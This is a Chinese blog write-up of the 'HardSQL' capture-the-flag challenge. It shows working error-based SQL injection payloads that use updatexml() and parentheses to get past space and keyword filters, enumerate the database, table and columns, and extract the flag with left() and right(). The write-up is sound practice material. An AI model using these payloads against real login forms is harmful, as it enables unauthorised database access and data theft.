[极客大挑战 2019]HardSQL 1

[极客大挑战 2019]HardSQL 1

打开实例,发现是个登陆页面,查看源代码,发现又是GET提交check.php

image-20241108154850115

万能密码尝试

image-20241108160504284.png

不太行,怀疑字段或者空格被过滤,尝试闭合不加其他东西

确认空格、union、and等都被过滤了,尝试加个括号

image-20241108161347316

未出现你可知被我速住了,臭弟弟字样,()未被过滤吧,尝试采用updatexml()函数,构造payload(查库):

?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=admin

成功拿到当前数据库名geek,确定为XPATH报错注入

查表

?username=1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23&password=admin

image-20241108162722099

获得表名H4rDsq1,查字段

?username=1'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin

image-20241108163149370

回显列太多,采用group_concat()包裹回显字段

?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin

成功获得字段列表:id username password

image-20241108163317986

查字段数据

?username=1'or(updatexml(1,concat(0x7e,(select(concat(id,',',username,',',substring(password)))from(H4rDsq1)),0x7e),1))%23
&password=admin

成功看到flag,因为长度问题,这边的flag显示并不完整

image-20241108163946605

尝试使用substring函数,发现被过滤

?username=1'or(updatexml(1,concat(0x7e,(select(concat(id,',',username,',',substring(password,0,100)))from(H4rDsq1)),0x7e),1))%23
&password=admin

image-20241108164218009

思考片刻,决定采用left()right()函数

首先先计算这边的最大长度,为33个字符

image-20241108164634465

所以分两次拿取flag

left(),拿区第一段

?username=1'or(updatexml(1,concat(0x7e,(select(concat(left(password,33)))from(H4rDsq1)),0x7e),1))%23
&password=admin

image-20241108164823571

flag{09f315c2-c334-4f3a-8de9-dc

right(),拿取第二段,第二段需要包含},经过多次尝试为偏移31位

?username=1'or(updatexml(1,concat(0x7e,(select(concat(right(password,31)))from(H4rDsq1)),0x7e),1))%23
&password=admin

image-20241108165157626

c2-c334-4f3a-8de9-dc6df0232a40}

去除重复的文本,最终flag为

flag{09f315c2-c334-4f3a-8de9-dc6df0232a40}
posted @ 2024-11-08 18:49  TazmiDev  阅读(287)  评论(0)    收藏  举报